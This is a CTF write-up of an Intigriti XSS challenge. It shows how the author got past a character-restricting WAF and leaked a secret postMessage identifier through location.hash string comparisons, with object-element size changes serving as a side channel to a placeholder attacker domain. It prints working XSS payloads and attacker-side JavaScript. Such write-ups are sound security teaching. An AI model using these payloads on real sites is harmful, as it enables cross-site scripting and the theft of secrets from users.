This month’s Intigriti challenge was made by the amazing Terjanq. He made a cool write-up himself here! As expected, this challenge was out of the ordinary. Complex, frustrating, and super interesting.
Disclaimer: I wrote this write-up instead of sleeping, so I apologize in advance for typos and confusing sentences.
Let’s dive in!
Looking at the challenge page, we see the following script:
We can see that the GET parameter error
is used to create an ‘error’ message on the page. Interestingly, the value of the GET parameter is inserted in the DOM using innerHTML
as seen on line 17. However, before we reach that very promising line of code, our GET parameter has to undergo a long journey of sanitization. First, the value of the GET parameter is sent to the page /waf.html
via a postMessage. As part of the postMessage, the value of a variable called identifier
is also included. This value is a “cryptographically strong random value” generated by using Crypto.getRandomValues()
. Let’s jump over to /waf.html
to see what’s going on over there:
As we can see in the script above, /waf.html
works as a WAF (what a surprise). I won’t go into the depth of what this WAF does, but you can take a look yourself if you want. What’s important to know, is that the WAF will actually allow us to execute some JavaScript code, but we’re very limited in what we can do. Our JavaScript code can’t contain any of the chars seen on line 13: " ' ` ( ) { } [ ] =
. To make an example of executing some JavaScript, we could use the following payload for the error
GET parameter:
<img src=x onerror=location++>
(remeber to URL-encode the +
)
This would redirect us to /NaN
, since we’re trying to increment the location
object by 1, even though location
is not of type Number.
After our GET parameter has been run through the WAF, a postMessage is sent back to the main challenge page, with a parameter safe
, which describes whether the value of the error
GET parameter passed the WAF or not. The identifier
is also sent back again. The identifier
is then used to ensure that the postMessage indeed comes from /waf.html
and that it’s not some ‘evil’ postMessage sent by an attacker.
After briefly talking to Robin about how Terjanq’s challenge seemed pretty tough, he mentioned how Terjanq was very much into XS-leaks and has contributed to this super cool resource: https://xsleaks.com/. Because of this, I decided to focus on the possibility of extracting the identifier
value. If we could do so, we would be able to send an ‘evil’ postMessage with whatever HTML content we desire. This seemed to be a very difficult task since we’re very limited in the JavasScript code we can use, but it turned out to be possible!
After a lot of thinking, I realized something very important. In JavaScript, it’s possible to compare strings with less than and greater than operators. A few examples could be:
"a" < "b" -> true
"abzd" > "abcd" -> true
"#b" < "#abcd" -> false
"#0a4z" < "#0a4" -> false
This means that it would be possible for us to compare the value of the identifier
variable with some other string. We can’t enter a string directly in our comparisons since we can’t use any of "’`
, so we’ll have to grab a string from somewhere else, eg. from an element’s id
. As an example, we could do something like this:
<img src=x id=d onerror=this.id<identifier>
This would determine if the first char of identifier
is “greater” than the char ‘d’.
While that’s cool and all, we have some obvious restrictions to overcome, before this can become useful in any way.
We also need to remember that the value of identifier
will change every time we update the page… This certainly does not seem like some easy restrictions to overcome, but let’s try!
To tackler point ‘2’, we could maybe use location.hash
to access the URL fragment? This seems like an interesting idea, since it’s possible to change the URL fragment without updating the page! In other words, we could in theory do multiple comparisons without changing the identifier
. An example of achieving this could be:
var url = "https://challenge-0421.intigriti.io/?error=<img src=x id=d onerror=this.id<identifier;this.src%2B%2B>";var w=window.open(url+"#a");setTimeout(function(){w.location=url+"#b"},1000);
setTimeout(function(){w.location=url+"#c"},2000);
setTimeout(function(){w.location=url+"#d"},3000);
Notice how we use this.src++
to trigger the onerror
event in a ‘loop’.
We still have to figure out how to actually ‘exfiltrate’ the result of the comparisons.
Looking at /waf.html
we may notice that we’re allowed to use the object
element. This gives us some interesting possibilities. The Same-origin policy creates a lot of restrictions on what info we can retrieve when embedding other domains on a website, but as the name suggest, this is (of course) only the case when the parent window and embedded window don’t share the same origin. What if we open the challenge page from our attacker-controlled domain as we did in the previous example and then make the challenge page embed our attacker-controlled domain in an object
element? This would make it possible to access the contentWindow of the object
element from the context of our attacker-controlled domain without any Same-origin policy issues.
var url = "https://challenge-0421.intigriti.io/?error=<object data=https://attacker_domain>";var w=window.open(url);setTimeout(function(){console.log(w.window[1])},1000);
The reason this is exciting is that we can actually use this to exfiltrate the result of our comparisons! To do so, I decided to use the width and height properties of the object
element. How this would work is that the challenge page would modify one of these properties, which we could then read afterward from our attacker-controlled page via innerHeight
and innerWidth
. An example could be as following:
var url = "https://challenge-0421.intigriti.io/?error=<object id=a data=https://attacker_domain><img src=x onerror=a.height%2B%2B;this.src%2B%2B>";var w=window.open(url);setInterval(function(){console.log(w.window[1].innerHeight)},1000);
We’re now both able to do multiple comparisons AND exfiltrate the results! What’s left now is lots and lots of work to actually put these techniques together to create a fully working PoC. Some basic idea would be to do something like:
location.hash<this.id+identifier&&a.height++
If the hash is #a
, the above would be converted to:
"#a"<"#"+identifier&&a.height++
This logic will only increase the height of the object
element with an id of a
if the first char of identifier is “greater” than ‘a’.
Building on top of the idea above, I created my PoC-code, which I’m far from satisfied with, but you can find it at the bottom of this post.
In short, it does the following:
On the challenge page:
object
element if that’s the caseobject
element if that’s the caseOn the attacker-controlled page:
object
element to changeidentifier
char by char (using a binary-ish search)You can read a more detailed explanation at the bottom of this post.
Running the PoC-code we get the following:
Beautiful, right!?
Thanks so much for the challenge Terjanq and Intigriti! And thanks a lot for reading along! Please feel free to reach out to me if you’ve any questions.
Happy hacking,
@holme_sec
More info on the ‘logic’ payload used on the challenge page:
The following is the decoded ‘logic’ payload used to do the comparisons of the identifier
variable:
<img src=x id=#NaN name=# onerror=this.id<location.hash||location.hash<this.id||this.src+++bla;location.hash<this.name+identifier&&a.width++;this.name+identifier<location.hash&&a.height++;location.hash++;this.src++>
Let’s split it up in smaller parts.
Part 1:
this.id<location.hash||location.hash<this.id||this.src+++bla;
This part is used to make sure we only run the next parts of the code once when the URL fragment changes. It does so by using OR (||
) operators. It starts by checking if the current hash is bigger than this.id
. The id of the img
tag is #NaN
, so this is false if the hash is equal to or bigger than #NaN
. Next, a check is made to determine if the current hash is smaller than this.id
, which again is #NaN
. Since this is done with OR operators, the whole statement is true as soon as one of the statements is true. This means that there’s no need to continue checking the rest of the statements as soon as the current statement is true. If eg. the current hash is bigger than #NaN
, the two next statements are just skipped without being evaluated. However, if the current hash is neither bigger nor smaller than #NaN
, meaning the current hash must be equal to #NaN
, we’ll continue over to the third and last statement:
this.src+++bla
When evaluating this statement, we’ll first update the src
of the img
element. We’re doing this to make sure to call the onerror
event handler in a loop. Next, we try to run the invalid JavaScript code bla
. The reason for this is to make sure we create an error in our code to avoid executing any of the remaining code in the onerror
event handler. This mechanics allows us to create some logic controlling when to execute some code. Essentially it’s a shitty if statement.
Part 2:
location.hash<this.name+identifier&&a.width++;
This part checks if the identifier
variable is bigger than the current hash. We’re prepending this.name
which is #
, since location.hash
returns the URL fragment starting with a #
char. If the comparison is true, we increase the object
element’s width by one.
Part 3:
this.name+identifier<location.hash&&a.height++;
This part is very similar to part 2. It checks if the identifier
variable is smaller than the current hash and increases the height of the object
element by one if it is.
Part 4:
location.hash++;this.src++
The last part starts by incrementing the hash by one, which will make it’s value NaN
, since the hash is not of type Number. This is done to use our logic in part 1, to make sure we only run part 2–4 once every time we receive a new value in the hash. Finally this.src
is increased to make sure we’ll call the onerror
event handler in a loop.